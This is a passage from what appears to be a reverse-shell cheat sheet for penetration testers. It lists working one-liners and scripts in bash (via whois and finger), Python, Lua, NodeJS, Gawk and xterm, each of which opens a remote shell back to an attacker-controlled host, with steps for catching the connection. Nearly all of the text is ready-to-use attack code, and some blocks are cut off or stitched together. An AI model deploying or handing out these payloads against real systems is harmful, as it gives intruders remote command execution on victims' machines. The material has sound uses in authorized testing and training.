To send the command write it down, press enter and press CTRL+D \(to stop STDIN\)
**Victim**
```bash
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
```
## Python
```bash
#Linux
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
```
## NodeJS
```javascript
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "10.17.26.64", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
To send the command write it down, press enter and press CTRL+D \(to stop STDIN\)
**Victim**
```bash
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
```
## Gawk
```bash
#!/usr/bin/gawk -f
BEGIN {
Port = 8080
Prompt = "bkd> "
Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}
```
## Xterm
One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server. It will try to connect back to you \(10.0.0.1\) on TCP port 6001.
```bash
xterm -display 10.0.0.1:1
```
To catch the incoming xterm, start an X-Server \(:1 – which listens on TCP port 6001\). One way to do this is with Xnest \(to be run on your system\):
```bash
Xnest :1
```
You’ll need to authorise the target to connect to you \(command also run on your host\):
```bash
xhost +targetip
```
## Groovy
by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NOTE: Java reverse shell also work for Groovy
